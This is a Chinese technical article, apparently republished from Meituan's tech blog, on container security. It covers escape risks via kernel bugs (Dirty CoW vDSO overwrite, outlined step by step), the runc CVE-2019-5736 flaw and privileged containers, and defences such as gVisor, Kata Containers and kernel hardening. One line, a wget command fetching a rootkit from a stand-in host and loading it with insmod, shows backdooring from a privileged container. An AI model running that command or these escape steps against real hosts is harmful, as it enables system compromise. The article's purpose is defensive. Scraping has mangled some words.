【美團容器安全】雲原生之容器安全實踐

概述

雲原生(Cloud Native)是一套技術體系和方法論,它由2個詞組成,雲(Cloud)和原生(Native)。雲(Cloud)表示應用程序位於雲中,而不是傳統的數據中心;原生(Native)表示應用程序從設計之初即考慮到雲的環境,原生爲雲而設計,在雲上以最佳狀態運行,充分利用和發揮雲平臺的彈性和分佈式優點。linux

雲原生的表明技術包括容器、服務網格(Service Mesh)、微服務(Microservice)、不可變基礎設施和聲明式API。更多對於雲原生的介紹請參考CNCF/Foundationgit

圖1 雲原生安全技術沙盤(Security View)

筆者將「雲原生安全」抽象成如上圖所示的技術沙盤。自底向上看,底層從硬件安全(可信環境)到宿主機安全 。將容器編排技術(Kubernetes等)看做雲上的「操做系統」,它負責自動化部署、擴縮容、管理應用等。在它之上由微服務、Service Mesh、容器技術(Docker等)、容器鏡像(倉庫)組成。它們之間相輔相成,以這些技術爲基礎構建雲原生安全。github

咱們再對容器安全作一層抽象,又能夠看做構建時安全(Build)、部署時安全(Deployment)、運行時安全(Runtime)。docker

在美團內部,鏡像安全由容器鏡像分析平臺保障。它以規則引擎的形式運營監管容器鏡像,默認規則支持對鏡像中Dockerfile、可疑文件、敏感權限、敏感端口、基礎軟件漏洞、業務軟件漏洞以及CIS和NIST的最佳實踐作檢查,並提供風險趨勢分析,同時它確保部分構建時安全。shell

容器在雲原生架構下由容器編排技術(例如Kubernetes)負責部署,部署安全同時也與上文說起的容器編排安全有交集。segmentfault

運行安全管控交由HIDS負責(可參考《保障IDC安全:分佈式HIDS集羣架構設計》一文)。本文所討論的範疇也屬於運行安全之一,主要解決以容器逃逸爲模型構建的風險(在本文中,若無特殊說明,容器指代Docker)。安全

對於安全實施準則,咱們將其分爲三個階段:bash

  • ***前:裁剪***面,減小對外暴露的***面(本文涉及的場景關鍵詞:隔離);服務器

  • ***時:下降***成功率(本文涉及的場景關鍵詞:加固);網絡

  • ***後:減小***成功後***者所能獲取的有價值的信息、數據以及增長留後門的難度等。

近些年,數據中心的基礎架構逐漸從傳統的虛擬化(例如KVM+QEMU架構)轉向容器化(Kubernetes+Docker架構),但「逃逸」始終都是企業要在這2種架構下所面對的最嚴峻的安全問題,同時它也是容器風險中最具表明性的安全問題。筆者將以容器逃逸爲切入點,從***者角度(容器逃逸)到防護者角度(緩解容器逃逸)來闡述容器安全的實踐,從而緩解容器風險。

容器風險

容器提供了將應用程序的代碼、配置、依賴項打包到單個對象的標準方法。容器創建在兩項關鍵技術之上:Linux Namespace和Linux Cgroups。

Namespace建立一個近乎隔離的用戶空間,併爲應用程序提供系統資源(文件系統、網絡棧、進程和用戶ID)。Cgroup強制限制硬件資源,如CPU、內存、設備和網絡等。

容器和VM不一樣之處在於,VM模擬硬件系統,每一個VM均可以在獨立環境中運行OS。管理程序模擬CPU、內存、存儲、網絡資源等,這些硬件可由多個VM共享屢次。

圖2 容器***面(Container Attack Surface)

容器一共有7個***面:Linux Kernel、Namespace/Cgroups/Aufs、Seccomp-bpf、Libs、Language VM、User Code、Container(Docker) engine。

筆者以容器逃逸爲風險模型,提煉出3個***面:

  1. Linux內核漏洞;

  2. 容器自身;

  3. 不安所有署(配置)。

1. Linux內核漏洞

容器的內核與宿主內核共享,使用Namespace與Cgroups這兩項技術,使容器內的資源與宿主機隔離,因此Linux內核產生的漏洞能致使容器逃逸。

內核提權VS容器逃逸

通用Linux內核提權方法論

  • 信息收集:收集一切對寫exploit有幫助的信息。 如:內核版本,須要肯定***的內核是什麼版本? 這個內核版本開啓了哪些加固配置? 還需知道在寫shellcode的時候會調用哪些內核函數?這時候就須要查詢內核符號表,獲得函數地址。 還可從內核中獲得一些對編寫利用有幫助的地址信息、結構信息等等。

  • 觸發階段:觸發相關漏洞,控制RIP,劫持內核代碼路徑,簡而言之,獲取在內核中任意執行代碼的能力。

  • 佈置shellcode:在編寫內核exploit代碼的時候,須要找到一塊內存來存放咱們的shellcode 。 這塊內存至少得知足兩個條件:

    • 第一:在觸發漏洞時,咱們要劫持代碼路徑,必須保證代碼路徑能夠到達存放shellcode的內存。

    • 第二:這塊內存是能夠被執行的,換句話說,存放shellcode的這塊內存具備可執行權限。

  • 執行階段

    • 第一:獲取高於當前用戶的權限,通常咱們都是直接獲取root權限,畢竟它是Linux中的最高權限,也就是執行咱們的shellcode。

    • 第二:保證內核穩定,不能由於咱們須要提權而破壞原來內核的代碼路徑、內核結構、內核數據等等,而致使內核崩潰。這樣的話,即便獲得root權限也沒有太大的意義。

簡而言之,收集對編寫exploit有幫助的信息,而後觸發漏洞去執行特權代碼,達到提權的效果。

圖3 容器逃逸簡易模型(Container Escape Model)

容器逃逸和內核提權只有細微的差異,須要突破namespace的限制。將高權限的namespace賦到exploit進程的task_struct中。這部分的詳細技術細節不在本文討論範圍內,筆者將來會抽空再寫一篇關於容器逃逸的技術文章,詳細介紹該相關技術的細節。

經典的Dirty CoW

筆者以Dirty CoW漏洞來講明Linux漏洞致使的容器逃逸。漏洞雖老,奈何太過經典。寫到這,筆者不由想問:多年過去,目前國內外各大廠,Dirty Cow漏洞的存量機器修復率是多少?

在Linux內核的內存子系統處理私有隻讀內存映射的寫時複製(Copy-on-Write,CoW)機制的方式中發現了一個競爭衝突。一個沒有特權的本地用戶,可能會利用此漏洞得到對其餘狀況下只讀內存映射的寫訪問權限,從而增長他們在系統上的特權,這就是知名的Dirty CoW漏洞。

Dirty CoW漏洞的逃逸的實現思路和上述的思路不太同樣,採起Overwrite vDSO技術。

vDSO(Virtual Dynamic Shared Object)是內核爲了減小內核與用戶空間頻繁切換,提升系統調用效率而設計的機制。它同時映射在內核空間以及每個進程的虛擬內存中,包括那些以root權限運行的進程。經過調用那些不須要上下文切換(context switching)的系統調用能夠加快這一步驟(定位vDSO)。vDSO在用戶空間(userspace)映射爲R/X,而在內核空間(kernelspace)則爲R/W。這容許咱們在內核空間修改它,接着在用戶空間執行。又由於容器與宿主機內核共享,因此能夠直接使用這項技術逃逸容器。

利用步驟以下:

  1. 獲取vDSO地址,在新版的glibc中能夠直接調用getauxval()函數獲取;

  2. 經過vDSO地址找到clock_gettime()函數地址,檢查是否能夠hijack;

  3. 建立監聽socket;

  4. 觸發漏洞,Dirty CoW是因爲內核內存管理系統實現CoW時產生的漏洞。經過條件競爭,把握好在恰當的時機,利用CoW的特性能夠將文件的read-only映射該爲write。子進程不停地檢查是否成功寫入。父進程建立二個線程,ptrace_thread線程向vDSO寫入shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過程,產生條件競爭,當條件觸發就能寫入成功。

  5. 執行shellcode,等待從宿主機返回root shell,成功後恢復vDSO原始數據。

2. 容器自身

咱們先簡單的看一下Docker的架構圖:

圖4 Docker架構圖

Docker自己由Docker(Docker Client)和Dockerd(Docker Daemon)組成。但從Docker 1.11開始,Docker再也不是簡單的經過Docker Dameon來啓動,而是集成許多組件,包括containerd、runc等等。

Docker Client是Docker的客戶端程序,用於將用戶請求發送給Dockerd。Dockerd實際調用的是containerd的API接口,containerd是Dockerd和runc之間的一箇中間交流組件,主要負責容器運行、鏡像管理等。containerd向上爲Dockerd提供了gRPC接口,使得Dockerd屏蔽下面的結構變化,確保原有接口向下兼容;向下,經過containerd-shim與runc結合建立及運行容器。更多的相關內容,請參考文末連接runccontainerdarchitecture。瞭解清楚這些以後,咱們就能夠結合自身的安全經驗,從這些組件相互間的通訊方式、依賴關係等尋找能致使逃逸的漏洞。

下面咱們以Docker中的runc組件所產生的漏洞來講明因容器自身的漏洞而致使的逃逸。

CVE-2019-5736:runc - container breakout vulnerability

runc在使用文件系統描述符時存在漏洞,該漏洞可致使特權容器被利用,形成容器逃逸以及訪問宿主機文件系統;***者也可使用惡意鏡像,或修改運行中的容器內的配置來利用此漏洞。

  • ***方式1:(該途徑須要特權容器)運行中的容器被***,系統文件被惡意篡改 ==> 宿主機運行docker exec命令,在該容器中建立新進程 ==> 宿主機runc被替換爲惡意程序 ==> 宿主機執行docker run/exec 命令時觸發執行惡意程序;

  • ***方式2:(該途徑無需特權容器)docker run命令啓動了被惡意修改的鏡像 ==> 宿主機runc被替換爲惡意程序 ==> 宿主機運行docker run/exec命令時觸發執行惡意程序。

當runc在容器內執行新的程序時,***者能夠欺騙它執行惡意程序。經過使用自定義二進制文件替換容器內的目標二進制文件來實現指回runc二進制文件。

若是目標二進制文件是/bin/bash,能夠用指定解釋器的可執行腳本替換#!/proc/self/exe。所以,在容器內執行/bin/bash,/proc/self/exe的目標將被執行,將目標指向runc二進制文件。

而後***者能夠繼續寫入/proc/self/exe目標,嘗試覆蓋主機上的runc二進制文件。這裏須要使用O_PATH flag打開/proc/self/exe文件描述符,而後以O_WRONLY flag 經過/proc/self/fd/<nr>從新打開二進制文件,而且用單獨的一個進程不停地寫入。當寫入成功時,runc會退出。

3. 不安所有署(配置)

在實際中,咱們常常會遇到這種情況:不一樣的業務會根據自身業務需求提供一套本身的配置,而這套配置並未獲得有效的管控審計,使得內部環境變得複雜多樣,無形之中又增長了不少風險點。最多見的包括:

  • 特權容器或者以root權限運行容器;

  • 不合理的Capability配置(權限過大的Capability)。

面對特權容器,在容器內簡單地執行一下命令,就能夠輕鬆地在宿主機上留下後門:

               

$ wget https://kernfunny.org/backdoor/rootkit.ko && insmod rootkit.ko

目前在美團內部,咱們已經有效地收斂了特權容器問題。

這部分業界已經給出了最佳實踐,從宿主機配置、Dockerd配置、容器鏡像、Dockerfile、容器運行時等方面保障了安全,更多細節請參考Benchmark/Docker。同時Docker官方已經將其實現成自動化工具(gVisor)。

安全實踐

爲解決上述部分所闡述的容器逃逸問題,下文將重點從隔離(安全容器)與加固(安全內核)兩個角度來進行討論。

安全容器

安全容器的技術本質就是隔離。gVisor和Kata Container是比較具備表明性的實現方式,目前學術界也在探索基於Intel SGX的安全容器。

簡單地說,gVisor是在用戶態和內核態之間抽象出一層,封裝成API,有點像user-mode kernel,以此實現隔離。Kata Container採用了輕量級的虛擬機隔離,與傳統的VM比較相似,可是它實現了無縫集成當前的Kubernetes加Docker架構。咱們接着來看gVisor與Kata Container的異同。

Case 1: gVisor

gVisor是用Golang編寫的用戶態內核,或者說是沙箱技術,它主要實現了大部分的system call。它運行在應用程序和內核之間,爲它們提供隔離。gVisor被使用在Google雲計算平臺的App Engine、Cloud Functions和Cloud ML中。gVisor運行時,是由多個沙箱組成,這些沙箱進程共同覆蓋了一個或多個容器。經過攔截從應用程序到主機內核的全部系統調用,並使用用戶空間中的Sentry處理它們,gVisor充當guest kernel的角色,且無需經過虛擬化硬件轉換,能夠將它看作vmm與guest kernel的集合,或是seccomp的加強版。

圖5 gVisor架構圖(來自gVisor)

Case 2: Kata Container

Kata Container的Container Runtime是用hypervisor ,而後用hardware virtualization實現,如同虛擬機。因此每個像這樣的Kata Container的Pod,都是一個輕量級虛擬機,它擁有完整的Linux內核。因此Kata Container與VM同樣能提供強隔離性,但因爲它的優化和性能設計,同時也擁有與容器相媲美的敏捷性。

圖6 Kata Container 架構圖(圖片來自Katacontainers.io)

Kata Container在主機上有一個kata-runtime來啓動和配置新容器。對於Kata VM中的每一個容器,主機上都有相應的Kata Shim。 Kata Shim接收來自客戶端的API請求(例如Docker或kubectl),並經過VSock將請求轉發給Kata VM內的代理。 Kata容器進一步優化以減小VM啓動時間。 使用QEMU的輕量級版本NEMU,刪除了約80%的設備和包。 VM-Templating建立運行Kata VM實例的克隆,並與其餘新建立的Kata VM共享,這樣減小了啓動時間和Guest VM內存消耗。 Hotplug功能容許VM使用最少的資源(例如CPU、內存、virtio塊)進行引導,並在之後請求時添加其餘資源。

gVisor VS Kata Container

在二者之間,筆者更願選擇gVisor,由於gVisor設計上比Kata Container更加的「輕」量級,但gVisor的性能問題始終是一道暫時沒法逾越的「天塹」。綜合兩者的優劣,Kata Container目前更適合企業內部。整體而言,安全容器技術還需作諸多探索,以解決不一樣企業內部基礎架構上面臨的各類挑戰。

安全內核

衆所周知,Android因爲其開源特性,不一樣廠商都維護着本身的Android版本。由於Android內核態代碼來自於Linux kernel upstrem,當一個漏洞產生在upstrem內核,安全補丁推送到Google,再從Google下發到各大廠商,最終到終端用戶。因爲Android生態的碎片化,補丁週期很是之長,使得終端用戶的安全,在這過程當中始終處於「空窗期」。當咱們把目光從新焦距在Linux上,它也一樣存在相似的問題。

內核面臨的問題

圖7 漏洞生命週期(The Vulnerability Life Cycle)

內核補丁

當一個安全漏洞被披露,一般是由漏洞發現者經過Redhat、OpenSuse、Debian等社區反饋或直接提交至上游相關子系統maintainer。在企業內部面臨多個不一樣內核大版本、內核定製化,針對不一樣版本從上游代碼backport相關補丁及製做相關熱補丁,定製內核還需對補丁進行二次開發,再升級生產環境內核或Hotfix內核。不只修復週期過長,並且在修復過程當中,人員溝通也存在必定的成本,也拉長了漏洞危險期。在危險期間,咱們對於漏洞基本是毫無防禦能力的。

內核版本碎片化

內核版本碎片化在任意具有必定規模的公司都是沒法避免的問題。隨着技術的突飛猛進,不斷迭代,基礎架構上的技術棧須要較新版本的內核功能去支持,長此以往就產生內核版本的碎片化。碎片化問題的存在,使得在安全補丁的推送方面,遭遇了很大的挑戰。自己補丁還須要作針對性的適配,包括不一樣版本的內核,並進行測試驗證,碎片化使得維護成本也變得十分高昂。最重要的是,因爲維護工做量大,必然拉長了測試補丁的時間線。也就是說,暴露在***者面前的危險期變得更長,被***的可能性也大大增長。

內核版本定製化

一樣,因不一樣公司的基礎架構不一樣、需求不一樣,致使的定製化內核問題。對於定製化內核,沒法簡單的經過從上游內核合併補丁,還需對補丁作一些本地化來適配定製化內核。這又拉長了危險期。

解決之道

咱們使用安全特性去針對某一類漏洞或是針對某一類利用方式作防護與檢測。好比SLAB_FREELIST_HARDENED,針對Double Free類型漏洞作實時檢測,且防護overwrite freelist鏈表,性能損耗僅0.07%(參考upstrem內核源碼,commit id: 2482ddec)。當完成全部所有的安全特性,漏洞在被反饋以前和漏洞補丁被及時推送至生產環境前,都無需關心漏洞的細節,就能防護。固然,安全補丁該打仍是得打,這裏咱們主要解決在安全補丁最終落在生產環境過程當中,「空窗期」對於漏洞與利用毫無防護能力的問題,同時也能夠對0day有必定的檢測及防護能力。

實施策略

  1. 已經合併進Linux主線版本的安全特性,若是公司的內核支持該特性,選擇開啓配置,對開啓先後內核作性能測試,分析安全特性原理、行業數據,給出Real World***案例(本身寫exploit去證實),將報告結論反饋給內核團隊。內核團隊再作評估,結合安全團隊與內核團隊雙方意見,最終評估落地。

  2. 已經合併進Linux主線版本但未被合併進Redhat的安全特性,可選擇從Linux內核主線版本中移植,這點上代碼質量上獲得了保障,同時社區也作了性能測試,將其合併到公司的內核再作複測。

  3. 未被合併進Linux內核主線版本,從Grsecurity/PaX中作移植,在Grsecurity/PaX的諸多安全特性中,評估選擇,選取代碼改動少的,收益高的安全特性優先移植。好比改動較少的內核代碼又能有效解決某一類的漏洞,再打個比方,Dirty Cow的全量修復可能須要花費1-2年的時間,若是加了某個安全特性,即便未修復也能防護。

內核後話

最後,分享一下筆者眼中較爲理想中的情況。固然,咱們得根據實際狀況「因地制宜」,在不一樣階段作出不一樣的取捨與選擇。

  • 將內核團隊當作社區,咱們向他們提交代碼,如同Linux內核社區有RFC(Request for Comment)、Patch Review等,無爭議後合併進公司內核。

  • 先挑選實用的安全特性且代碼量少的,去移植,去實現,並落地。代碼量少意味着對內核代碼改動少,出問題的可能性越小,穩定性越高,性能損耗越低。

  • 一年完成幾個安全特性,不須要多,1~2個便可,對於內核態的加固,慎重慎重再慎重,譬如國外G家公司數據中心的內核發版前大概須要6~7個月時間作性能、穩定性測試。

  • 須要作到加固某個安全特性後,使用0day或Nday去驗證防護效果,且基於該內核跑業務是穩定,性能損耗在可接受範圍以內或者可控。每一個安全特性須要技術評審。爲保障代碼質量的問題,找實際的高吞吐以及高併發低延遲的服務器小範圍灰度測試,無爭議後,再推送給內核團隊。

  • 最後,咱們還能夠經過將安全特性的代碼直接提交給Linux內核社區,若是代碼有不足的地方也能夠和社區協同解決,合併進Linux內核主線代碼,從而側面推進落地。

做者簡介

Pray3r,負責美團內部操做系統安全、雲原生安全、重大高危漏洞應急響應,長期專一於Linux內核安全及開源軟件安全。

參考文獻

做者:美團技術團隊        連接:https://segmentfault.com/a/1190000022004561        來源:SegmentFault 思否        著做權歸做者全部。商業轉載請聯繫做者得到受權,非商業轉載請註明出處。

相關文章
相關標籤/搜索